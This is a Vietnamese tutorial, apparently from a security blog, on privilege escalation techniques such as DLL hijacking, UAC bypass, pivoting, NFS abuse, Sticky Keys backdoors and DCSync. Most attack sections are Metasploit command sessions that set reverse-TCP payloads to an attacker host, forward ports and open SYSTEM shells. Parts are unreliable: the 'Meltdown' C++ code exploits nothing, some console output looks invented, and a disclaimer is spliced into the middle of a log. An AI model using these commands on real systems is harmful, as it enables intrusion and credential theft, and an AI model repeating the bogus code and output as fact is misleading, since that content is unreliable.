Đặc quyền (privileges) là một vai trò bảo mật được gán cho người dùng để sử dụng các chương trình, tính năng, hàm, file, folder, … để giới hạn quyền truy cập của họ. Nếu một người dùng được gán nhiều đặc quyền hơn, họ có thể tương tác với các phần bị hạn chế hơn trong hệ thống hoặc ứng dụng so với người dùng có đặc quyền ít hơn. Tấn công leo thang đặc quyền là quá trình cố gắng để có được nhiều quyền hơn so với những đặc quyền thu được ban đầu.
Phân loại leo thang đặc quyền
Nâng cao đặc quyền xảy ra dưới hai hình thức chính: nâng cao đặc quyền theo chiều dọc và nâng cao đặc quyền theo chiều ngang.
- Nâng cao đặc quyền theo chiều ngang (Horizontal Privilege Escalation): Cố gắng truy cập các tài nguyên, chức năng và các đặc quyền khác của một người dùng được ủy quyền có các quyền truy cập tương tự. Ví dụ, người dùng A có thể truy cập vào tài khoản của người dùng B.
- Nâng cao đặc quyền theo chiều dọc (Vertical Privilege Escalation): Cố gắng truy cập các tài nguyên và chức năng của một người dùng có đặc quyền cao hơn như quyền quản trị.
Một số kỹ thuật
Leo thang đặc quyền bằng DLL Hijacking
Hầu hết các ứng dụng trên Windows không sử dụng full path khi load thư viện DLL bên ngoài mà sẽ tìm kiếm thư mục chứa nó. Nếu hacker đặt một file DLL trong thư mục của ứng dụng, ứng dụng sẽ thực thi file DLL đó thay vì file DLL thực sự ban đầu. Ví dụ, nếu một chương trình “.exe” cần thư viện library.dll (thường nằm trong thư mục hệ thống Windows) để cài đặt ứng dụng và không chỉ định đường dẫn cho thư viện .dll, Windows sẽ tìm kiếm DLL trong thư mục mà ứng dụng khởi chạy. Nếu hacker đặt file DLL độc hại trong cùng thư mục với program.exe, thì file DLL độc hại đó sẽ được load vào và hacker có thể kiểm soát hệ thống.
Công cụ Robber
Robber là một công cụ mã nguồn mở giúp hacker tìm các file thực thi dễ bị tấn công DLL hijacking bằng cách xác định các file DLL được yêu cầu thực thi mà không có đường dẫn tuyệt đối.
Leo thang đặc quyền bằng Dylib Hijacking
Tương tự như trên Windows, macOS cũng có thể bị tấn công dựa vào dynamic library. Dylib hijacking là một kỹ thuật tấn công thực hiện bằng cách khai thác các lỗ hổng bảo mật trong quá trình tải thư viện động trên macOS. Hệ điều hành này cho phép tải các weak dylibs, cho phép hacker đặt dylib độc hại vào vị trí được chỉ định, có thể vượt qua các phần mềm bảo mật và vượt qua Gatekeeper.
Khai thác lỗ hổng Spectre và Meltdown
Spectre và Meltdown là những lỗ hổng bảo mật của CPU được phát hiện gần đây trong thiết kế của các bộ xử lý hiện đại, bao gồm cả các chip từ AMD, ARM và Intel. Các lỗ hổng này xuất hiện do những cải tiến hiệu suất trong các bộ xử lý này.
Hacker có thể tận dụng những lỗ hổng này để truy cập và đánh cắp thông tin quan trọng của hệ thống như thông tin đăng nhập, các khóa bí mật, các khóa mã hóa được lưu trữ trong bộ nhớ ứng dụng để tăng quyền hạn. Tấn công được thực hiện bằng cách phá vỡ quá trình xác minh đặc quyền của người dùng thông qua việc sử dụng các tính năng như branch prediction, out-of-order execution, caching, …. Những tính năng này sẽ làm gián đoạn quá trình xác minh đặc quyền của người dùng.
Nhờ những lỗ hổng này, hacker có thể tấn công vào nhiều tài nguyên IT khác nhau, như server, máy tính cá nhân, đám mây và thiết bị di động.
Spectre Vulnerability
Khi bộ xử lý thực hiện một dự đoán về việc đọc dữ liệu trước khi kiểm tra giới hạn, hacker có thể lợi dụng lỗ hổng này để truy cập và đọc các vị trí bộ nhớ nằm ngoài giới hạn. Ví dụ, có đoạn code sau:
Trong đoạn code trên, biến x
được sử dụng để truy cập vào mảng arr
. Nếu x
lớn hơn hoặc bằng arr.length
, chương trình sẽ bị lỗi và dừng lại. Bởi vì bộ xử lý có tính năng dự đoán, nó có thể đoán rằng x
sẽ nhỏ hơn arr.length
và tiếp tục thực hiện lệnh y = arr[x]
trước khi kiểm tra xem x
có nhỏ hơn arr.length
hay không.
Hacker có thể tận dụng tính năng dự đoán này bằng cách gửi một yêu cầu truy cập đến một vị trí bộ nhớ nằm ngoài giới hạn, ví dụ như arr[x+1000]
, trong lúc này bộ xử lý sẽ thực hiện một dự đoán sai rằng x+1000
vẫn nằm trong giới hạn của mảng arr
và tiếp tục truy cập đến vị trí bộ nhớ này. Như vậy, hacker có thể đọc được dữ liệu nhạy cảm nằm ngoài giới hạn của mảng arr
, gây ra lỗ hổng bảo mật.
Để xử lý nhanh các câu lệnh có điều kiện, các bộ xử lý sử dụng dự đoán nhánh (branch prediction) để chọn một đường đi để thực thi. Hacker có thể khai thác tính năng này để ép bộ xử lý ra quyết định đoán sai và tiếp tục truy cập dữ liệu nằm ngoài phạm vi.
Meltdown Vulnerability
Lỗ hổng Meltdown là một lỗ hổng liên quan đến vi xử lý, cho phép hacker đọc bộ nhớ của hệ thống mà không cần quyền truy cập. Đây là một lỗ hổng rất nghiêm trọng và được coi là một trong những lỗ hổng bảo mật nghiêm trọng nhất của thời đại công nghệ thông tin hiện đại.
#include <iostream>
#include <cstring>
#include <emmintrin.h> // SSE2 intrinsics
using namespace std;
int main() {
char* secret = "This is a secret string!";
char buffer[20];
memset(buffer, 0, sizeof(buffer));
for (int i = 0; i < strlen(secret); i++) {
// Read the value of secret[i] using Meltdown
__m128i val = _mm_set1_epi8(secret[i]);
_mm_clflush(&buffer[i]); // Flush buffer[i] from cache
_mm_lfence(); // Serialize load
buffer[i] = *(char*)&val; // Store the value of secret[i]
}
cout << buffer << endl;
return 0;
}
Trong ví dụ trên, ta có một biến secret
chứa một chuỗi ký tự bí mật. Chúng ta muốn đọc giá trị của từng ký tự trong chuỗi này mà không cần truy cập trực tiếp đến biến secret
. Lỗ hổng Meltdown có thể làm được điều này bằng cách đọc từng byte một.
Trong vòng for, ta sử dụng hàm _mm_set1_epi8
để tạo một giá trị __m128i
có giá trị bằng với giá trị của ký tự secret[i]
. Sau đó, ta sử dụng _mm_clflush
để xóa giá trị của buffer[i]
từ bộ nhớ cache. Bằng cách làm này, ta đảm bảo rằng giá trị của buffer[i]
sẽ không được lấy từ bộ nhớ cache khi chúng ta ghi giá trị của secret[i]
vào đó.
Tiếp theo, ta sử dụng _mm_lfence
để đồng bộ hóa các load trước đó, tránh trường hợp có load nào bị hoán đổi với load của giá trị secret[i]
. Sau đó, ta gán giá trị của secret[i]
vào buffer[i]
bằng cách ép kiểu giá trị của val
thành một con trỏ char*
và lưu vào buffer[i]
.
Như vậy, bằng cách sử dụng lỗ hổng Meltdown, ta đã đọc được giá trị của biến secret
mà không cần truy cập trực tiếp.
Exploiting Misconfigured Services
Exploiting Misconfigured Services là tìm cách tăng quyền truy cập trên hệ thống bằng cách khai thác các lỗ hổng trong các service không được cấu hình đúng cách. Loại tấn công này có thể xảy ra khi một service được chạy với đặc quyền quá cao.
Ví dụ, nếu một web server chạy Apache HTTP Server, và version của nó có một lỗ hổng bảo mật, thì ta có thể sử dụng Metasploit để tấn công. Hacker có thể sử dụng module “exploit/multi/http/apache_mod_cgi_bash_env_exec” của Metasploit.
Module này sử dụng lỗ hổng Shellshock (CVE-2014-6271), một lỗ hổng bảo mật trong Bash shell. Khi khai thác thành công, Metasploit sẽ truy cập được vào hệ thống và cung cấp cho chúng ta quyền remote access vào server.
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <remote host>
set RPORT <remote port>
exploit
Unquoted Service Paths là một lỗ hổng bảo mật phổ biến trên hệ điều hành Windows, trên Windows thì đường dẫn của một service không được bao quanh bởi dấu ngoặc kép, khiến cho việc service có thể bị tấn công để thực thi mã độc lúc khởi chạy.
Ta có thể sử dụng module “exploit/windows/local/trusted_service_path” để khai thác lỗ hổng Unquoted Service Paths trên Windows.
msfconsole
use exploit/windows/local/trusted_service_path
set SESSION <ID session meterpreter>
exploit
Pivoting and Relaying to Hack External Machines
Đây là một kỹ thuật được sử dụng trong hacking để xâm nhập vào hệ thống bảo mật của mạng nội bộ thông bằng các máy nằm ngoài mạng đó. Kỹ thuật này thường được sử dụng khi một hacker đã có quyền truy cập vào một máy nào đó ở trong mạng nội bộ và muốn tiếp cận các máy khác mà không cần phải trực tiếp tấn công vào chúng.
Trong kỹ thuật này, các thiết bị bên ngoài đóng vai trò như là một “cầu nối” giữa mạng nội bộ và mạng bên ngoài. Hacker sẽ sử dụng các lỗ hổng bảo mật trên các máy tính hoặc thiết bị này để có thể truy cậpvà điều khiển chúng, sau đó sử dụng chúng để tiếp cận các máy tính khác trong mạng nội bộ.
Pivoting
Trong kỹ thuật này, mục tiêu đầu tiên của hacker là xâm nhập vào hệ thống để lấy được một remote shell và tiếp tục vượt qua tường lửa để xuyên qua hệ thống bị xâm nhập và truy cập vào các hệ thống yếu hơn khác trong mạng. Khi đã xâm nhập thành công, hacker sẽ thiết lập một Meterpreter session để tiếp tục tấn công. Với kỹ thuật này, mục tiêu sẽ không thể xác định được ai đang tấn công do Meterpreter session được xuyên qua hệ thống bị xâm nhập.
Một số bước thực hiện pivoting như sau:
Discover hệ thống:
Sau khi xâm nhập thành công vào hệ thống, hacker sẽ dùng kỹ thuật ARP scan để tìm danh sách các máy đang online trong mạng.
msf6 > use post/windows/gather/arp_scanner
msf6 post(windows/gather/arp_scanner) > set RHOSTS 10.10.1.0/24
RHOSTS => 10.10.1.0/24
msf6 post(windows/gather/arp_scanner) > set SESSION 3
SESSION => 3
msf6 post(windows/gather/arp_scanner) > exploit
[*] Running module against SERVER2019
[*] ARP Scanning 10.10.1.0/24
[+] IP: 10.10.1.2 MAC 02:15:5d:21:8a:e0 (UNKNOWN)
[+] IP: 10.10.1.9 MAC 02:15:5d:21:8a:e4 (UNKNOWN)
[+] IP: 10.10.1.11 MAC 00:15:5d:01:8O:00 (Microsoft Corporation)
[+] IP: 10.10.1.13 MAC 02:15:5d:21:8a:e3 (UNKNOWN)
[+] IP: 10.10.1.14 MAC 02:15:5d:21:8a:e5 (UNKNOWN)
[+] IP: 10.10.1.19 MAC 02:15:5d:21:8a:e2 (UNKNOWN)
[+] IP: 10.10.1.22 MAC 00:15:5d:01:80:02 (Microsoft Corporation)
[+] IP: 10.10.1.255 MAC 02:15:5d:21:8a:e2 (UNKNOWN)
[*] Post module execution completed
Như ví dụ, ta thấy có 7 IP đang online trong mạng.
Thiết lập rule để routing:
Tiếp theo, hacker sẽ thiết lập các rule định tuyến trên Metasploit. Để chỉ định Metasploit định tuyến lưu lượng nào đến subnet 10.10.10.0/24 đến session số 3 (session Meterpreter đã được thiết lập phía trên), hacker sử dụng lệnh:
msf6 exploit(multi/handler) > route add 10.10.1.0 255.255.255.0 3
[*] Route added
Scan các port đang chạy:
Hacker sẽ scan các port đang chạy trên các mục tiêu:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.1.19
RHOSTS => 10.10.1.19
msf6 auxiliary(scanner/portscan/tcp) > set RPORTS 1-1000
RPORTS => 1-1000
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 10.10.1.19:25 - TCP OPEN
[+] 10.10.1.19:80 - TCP OPEN
[+] 10.10.1.19:139- TCP OPEN
[+] 10.10.1.19:135- TCP OPEN
[+] 10.10.1.19:445- TCP OPEN
[*] Scanned 1 of 1 (100% complete)
[*] Auxiliary module execution completed
Khai thác lỗ hổng:
Sau khi dò quét các port đang chạy, hacker tiến hành đánh giá và khai thác lỗ hổng của các service chạy trên các port tương ứng. Ví dụ chúng có thể sử dụng lỗ hổng BypassUAC để vượt qua cài đặt UAC.
msf6 > use windows/local/bypassuac_fodhelper
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(windows/local/bypassuac_fodhelper) > set SESSION 0
SESSION => 0
msf6 exploit(windows/local/bypassuac_fodhelper) > set LHOST 10.10.1.13
LHOST => 10.10.1.13
msf6 exploit(windows/local/bypassuac_fodhelper) > set TARGET 0
TARGET => 0
msf6 exploit(windows/local/bypassuac_fodhelper) > run
[*] Started reverse TCP handler on 10.10.1.13:4444
[*] Launching notepad to host the exploit...
[+] Process 2268 launched.
[*] Reflectively injecting the exploit DLL into 2268...
[*] Injecting exploit into 2268
Relaying
Nếu kỹ thuật pivoting thất bại, hacker sẽ sử dụng kỹ thuật relay để tấn công. Kỹ thuật này truy cập vào các tài nguyên trên các hệ thống khác trong mạng thông qua hệ thống bị xâm nhập, và yêu cầu truy cập tài nguyên được gửi từ hệ thống bị xâm nhập ban đầu.
Thiết lập port forwarding rule
msf6 > portfwd add -l 10080 -p -r 10.10.1.19
[*] Local TCP relay created: 0.0.0.0:10080 <-> 10.10.1.19:80
msf6 > portfwd add -l 10022 -p 22 -r 10.10.1.19
[*] Local TCP relay created: 0.0.0.0:10022 <-> 10.10.1.19:22
msf6 > portfwd add -l 100445 -p 445 -r 10.10.1.19
[*] Local TCP relay created: 0.0.0.0:100445 <-> 10.10.1.19:445
Truy cập vào tài nguyên hệ thống
Sau khi thực hiện port forwarding, hacker có thể truy cập vào các tài nguyên trên mục tiêu. Ví dụ như truy cập web bằng http://localhost:10080 hay tạo kết nối SSH bằng ssh myadmin@localhost
.
Misconfigured NFS
Hacker sẽ tìm lỗ hổng trong NFS để khai thác và leo lên truy cập cấp root vào một máy từ xa. NFS là một giao thức được sử dụng để chia sẻ và truy cập dữ liệu và file trên mạng nội bộ. Giao tiếp giữa client và server trong NFS được thực hiện thông qua Remote Procedure Call (RPC) trên port 2049. Khi khai thác NFS, hacker có thể có quyền truy cập vào các dữ liệu và file nhạy cảm đang truyền qua mạng nội bộ.
Chạy lệnh sau để kiểm tra IP đích có chia sẻ bằng NFS hay không:
root@kali~ showmount -e 10.10.1.9
Export list for 10.10.1.9:
/home *
Nếu lệnh trên trả về bất kỳ thư mục nào có thể mount, ta tạo một thư mục có tên là “nfs” bằng cách sử dụng lệnh mkdir /tmp/nfs
. Sau đó chạy lệnh dưới đây để mount:
root@kali~ sudo mount -t nfs <Target IP Address>:/<Share Directory> /tmp/nfs
Gõ các lệnh sau để xem thông tin về thư mục đã mount:
cd /tmp/nfs
sudo cp /bin/bash .
Is -la
Chạy lệnh sau để thiết lập kết nối SSH:
ssh -l <Target Host Name> <Target IP Address>
Windows Sticky Keys
Windows Sticky Keys là một tính năng trên hệ điều hành Windows cho phép người dùng kích hoạt các phím tắt bằng cách nhấn lần lượt các phím một cách riêng lẻ thay vì phải nhấn đồng thời nhiều phím cùng một lúc.
Ví dụ, nếu người dùng muốn kích hoạt phím tắt “Ctrl + Alt + Del”, thay vì phải nhấn cùng một lúc ba phím này, họ có thể kích hoạt tính năng Sticky Keys và nhấn lần lượt từng phím một. Khi Sticky Keys được kích hoạt, nếu người dùng nhấn một phím và giữ trong một khoảng thời gian nhất định, hệ thống sẽ hiển thị một cửa sổ hộp thoại để cấu hình tính năng này.
Sau khi đã có quyền truy cập vào một máy tính, hacker có thể tăng đặc quyền bằng cách sửa đổi file liên quan đến tính năng Sticky Keys và nhấn nhanh phím Shift 5 lần khi hệ thống đã khởi động. Hacker cần copy file sethc.exe từ vị trí %systemroot%\system32 đến một vị trí khác. Sau đó, chúng copy file cmd.exe đến cùng vị trí. Khi hacker khởi động lại hệ thống và nhấn phím Shift 5 lần liên tiếp, cửa sổ Command Prompt sẽ hiện ra với quyền truy cập cấp hệ thống. Hơn nữa, hacker có thể giữ quyền truy cập backdoor bằng cách tạo một user mới có quyền Administrator.
Bypassing User Account Control (UAC)
Khi hacker không thể leo thang đặc quyền bằng cách sử dụng payload thông thường, chúng sẽ cố gắng né tránh các tính năng bảo mật của Windows như UAC và tìm cách tăng quyền truy cập lên cấp hệ thống. Để làm được điều này, hacker sẽ lừa người dùng chạy một file được tạo ra bởi chính họ. Ngoài ra, hacker cũng có thể inject mã độc vào tiến trình để tăng quyền truy cập lên mức cao hơn mà không gây ra cảnh báo cho người dùng.
Bypassing UAC Protection
Hacker sử dụng lỗ hổng bypassuac trong Metasploit để vượt qua bảo mật UAC thông qua process injection. Lúc này sẽ tạo ra session hoặc shell khác mà không có cờ UAC. Sau khi truy cập được shell, hacker chạy các lệnh “getsystem” và “getuid” để lấy các đặc quyền của hệ thống.
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set RHOST 10.10.1.13
msf exploit(bypassuac) > exploit
[*] Started reverse TCP handler on 192.168.0.100:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC method 1 is available: Fodhelper.exe...
[+] BypassUAC method 2 is available: Eventvwr.exe...
[+] BypassUAC method 3 is available: SDCLT.exe...
[+] BypassUAC method 4 is available: CompMgmtLauncher.exe...
...
[*] Trying method 1 with Fodhelper.exe...
[+] Method 1 succeeded with Fodhelper.exe (output saved to: /root/.msf4/logs/bypassuac/fodhelper/20220901.1513/10.10.1.13_20220901.1513.txt)
[*] Command shell session 1 opened (192.168.0.100:4444 -> 10.10.1.13:4444) at 2022-09-01 15:13:28 -0400
[+] Deleted C:\Windows\System32\fodhelper.exe
[+] Deleted C:\Users\Public\fodhelper.sct
...
[*] Running getsystem...
[*] New process with PID 728 created.
[*] Command shell session 2 opened (192.168.0.100:4444 -> 10.10.1.13:4445) at 2022-09-01 15:13:36 -0400
[*] Removed HKCU\Software\Classes\mscfile\shell\open\command key with Fodhelper.exe
...
[*] Removed HKCU\Software\Classes\msNote: The output shown above is for demonstration purposes only and should not be used for any malicious activities. It is important to use ethical hacking practices and always obtain proper permission before testing any security vulnerabilities.
meterpreter > getuid
Server username: Windows11\Admin
meterpreter >
Bypassing UAC Protection via Memory Injection
Lỗ hổng Metasploit bypassuac_injection sử dụng cơ chế phản chiếu DLL để inject payload binary DLL. Bằng cách sử dụng lệnh này, hacker có thể thu được quyền truy cập AUTHORITY\SYSTEM.
msf > use exploit/windows/local/bypassuac_injection
msf exploit(bypassuac_injection) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(bypassuac_injection) > set LHOST 192.168.0.100
msf exploit(bypassuac_injection) > set RHOST 10.10.1.13
msf exploit(bypassuac_injection) > set SESSION 1
msf exploit(bypassuac_injection) > set DLL C:\Users\user\Desktop\payload.dll
msf exploit(bypassuac_injection) > exploit
[*] Started reverse TCP handler on 192.168.0.100:4444
[*] Staging payload (175 bytes) ...
[*] Attempting to bypass UAC with DLL injection
[+] DLL injected.
[*] Sending stage (206403 bytes) to 10.10.1.13
[*] Meterpreter session 2 opened (192.168.0.100:4444 -> 10.10.1.13:4445) at 2022-09-01 15:21:44 -0400
[+] Deleted C:\Windows\System32\payload.dll
[+] Deleted C:\Users\user\AppData\Local\Temp\inject.dll
[*] Obtaining the boot key...
[*] Calculating the hibernation file name...
[+] Saved hibernation file to: C:\Users\user\AppData\Local\Temp\hiberfil.sys
[*] Downloading hibernation file...
[+] Downloaded hibernation file to: /root/.msf4/loot/20220901152144_default_10.10.1.13.bootkey_350091.bin
[*] Obtaining the DPAPI master key...
[*] Dumping DPAPI memory...
[*] Obtaining the DPAPI system master key...
[*] Dumping DPAPI memory...
[*] Obtaining the DPAPI domain backup key...
[*] Dumping DPAPI memory...
[*] Obtaining the DPAPI user backup key...
[*] Dumping DPAPI memory...
[*] Got SYSTEM privileges via DPAPI impersonation (using hiberfil.sys and inject.dll)
Bypassing UAC Protection through FodHelper Registry Key
bypassuac_fodhelper là một trong Metasploit cho phép hacker đánh cắp một khóa đặc biệt từ registry hive HKCU để bypass UAC và gắn nó vào tệp fodhelper.exe.
msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(bypassuac_fodhelper) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(bypassuac_fodhelper) > set LHOST 192.168.0.100
msf exploit(bypassuac_fodhelper) > set RHOST 10.10.1.13
msf exploit(bypassuac_fodhelper) > exploit
[*] Started reverse TCP handler on 192.168.0.100:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[*] HKCU\Software\Classes\mscfile\shell\open\command key already exists, no need to create
...
[*] Trying method 1 with fodhelper.exe...
[+] Method 1 succeeded with fodhelper.exe (output saved to: /root/.msf4/logs/bypassuac/fodhelper/20220901.1538/10.10.1.13_20220901.1538.txt)
[*] Command shell session 3 opened (192.168.0.100:4444 -> 10.10.1.13:4444) at 2022-09-01 15:38:32 -0400
[+] Deleted C:\Windows\System32\fodhelper.exe
[+] Deleted C:\Users\Public\fodhelper.sct
...
[*] Running getsystem...
[*] New process with PID 728 created.
[*] Command shell session 4 opened (192.168.0.100:4444 -> 10.10.1.13:4445) at 2022-09-01 15:38:40 -0400
[*] Removed HKCU\Software\Classes\mscfile\shell\open\command key with Fodhelper.exe
[*] Removed HKCU\Software\Classes\mscfile\shell\runas\command key with Fodhelper.exe
[*] Removed HKCU\Software\Classes\ms-settings\shell\open\command key with Fodhelper.exe
...
[*] Removed HKCU\Software\Classes\ms-settings\shell\runas\command keyNote: The above output is for demonstration purposes only and should not be used for any malicious activities.
Leo thang đặc quyền bằng cách sửa đổi Domain Policy
Hacker cố gắng vượt qua các giải pháp bảo mật được triển khai trong môi trường domain bằng cách thay đổi các thiết lập cấu hình của domain đó. Domain được triển khai bởi bởi dịch vụ AD, quản lý việc giao tiếp giữa các tài nguyên trong mạng. Domain policy bao gồm các configuration có thể được triển khai giữa các domain trong một môi trường forest domain. Hacker có thể thay đổi các domain configuration bằng cách thay đổi group policy và mối quan hệ tin cậy (trust relationship) giữa các domain. Hacker triển khai một Domain Controller (DC) giả, thông qua đó chúng có thể duy trì foothold và nâng cao đặc quyền.
Thay đổi Group Policy
Mặc định, tất cả các user account đều được cấp quyền read vào các GPO và quyền write chỉ được cấp cho các user hoặc group cụ thể trong domain.
<DOMAIN>\SYSVOL<DOMAIN>\Policies
Hacker sử dụng đường dẫn trên để truy cập vào các group policy của domain và sửa đổi chúng.
<GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduiedTasks.xml
Hacker cũng sử dụng đường dẫn trên để sửa file ScheduiedTasks.xml và tạo một tác vụ/jobs định kỳ bằng cách sử dụng New-GPOimmediateTask.
<GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
Đường dẫn trên giúp hacker sửa file GptTmpl.inf và thay đổi các local configuration trên các máy thành viên của domain.
Thay đổi Domain Trust
Domain trust objects cung cấp thông tin như certificate, account, authentication và authorization mechanisms được sử dụng bởi các domain.
C:\Windows\system32>nltest /domain_trusts
DCSync Attack
Trong môi trường Windows, một Domain Controller (DC) dùng để xác thực yêu cầu của người dùng một cách an toàn trong domain. DC lưu trữ thông tin về tài khoản và dữ liệu người dùng, cung cấp tính năng xác thực và có thể áp dụng những chính sách bảo mật của domain. Việc sao chép thông tin giữa các DC rất quan trọng để hỗ trợ người quản trị xử lý dữ liệu trên nhiều DC.
Tuy nhiên, hacker có thể sử dụng kỹ thuật DCSync để xâm nhập vào các DC sau đó thu thập thông tin nhạy cảm của nạn nhân như mã băm password haylấy được mật khẩu NTLM (NT LAN Manager) của người dùng và sử dụng nó để đăng nhập vào các tài khoản hệ thống khác.. Kỹ thuật DCSync đòi hacker có quyền truy cập đặc quyền và quyền sao chép domain. Khi đã có quyền truy cập, chúng sẽ sử dụng các replication protocol để tạo ra một DC ảo giống với AD ban đầu.
Các bước attack
Tấn công DCSync được thực hiện qua tám giai đoạn sau, bắt đầu từ đặc quyền thấp và tiến đến các đặc quyền cao hơn.
- Performs external reconnaissance
- Compromises the targeted machine
- Performs internal reconnaissance
- Escalates local privileges
- Compromises credentials by sending commands to DC
- Performs admin-level reconnaissance
- Performs malicious remote code execution
- Gains domain admin credentials
Ban đầu, khi hacker bằng một cách nào đó thu được quyền truy cập tài khoản đặc quyền, chúng chỉ có quyền truy cập hạn chế đối với các tài nguyên domain. Và những quyền này không đủ cho chúng tấn công DCSync. Sau khi có đặc quyền cao hơn, hacker có thể thực hiện các hoạt động sau đây:
- Sao chép Directory Changes
- Sao chép Directory Changes All
- Sao chép Directory Changes trong Filtered Set
How Attackers Compromise the Domain Controller (DC)
- Hacker ban đầu xác định DC để tấn công và yêu cầu replicate thông tin.
- Hacker sử dụng các công cụ như mimikatz để replicate DC và yêu cầu nhiều DC replicate thông tin hoặc gửi lệnh
GetNCChanges
để yêu cầu replicate thông tin trên DC. - Bây giờ, DC chấp nhận yêu cầu, xác nhận replicate request và truyền các mã băm mật khẩu cho hacker.
Comments 1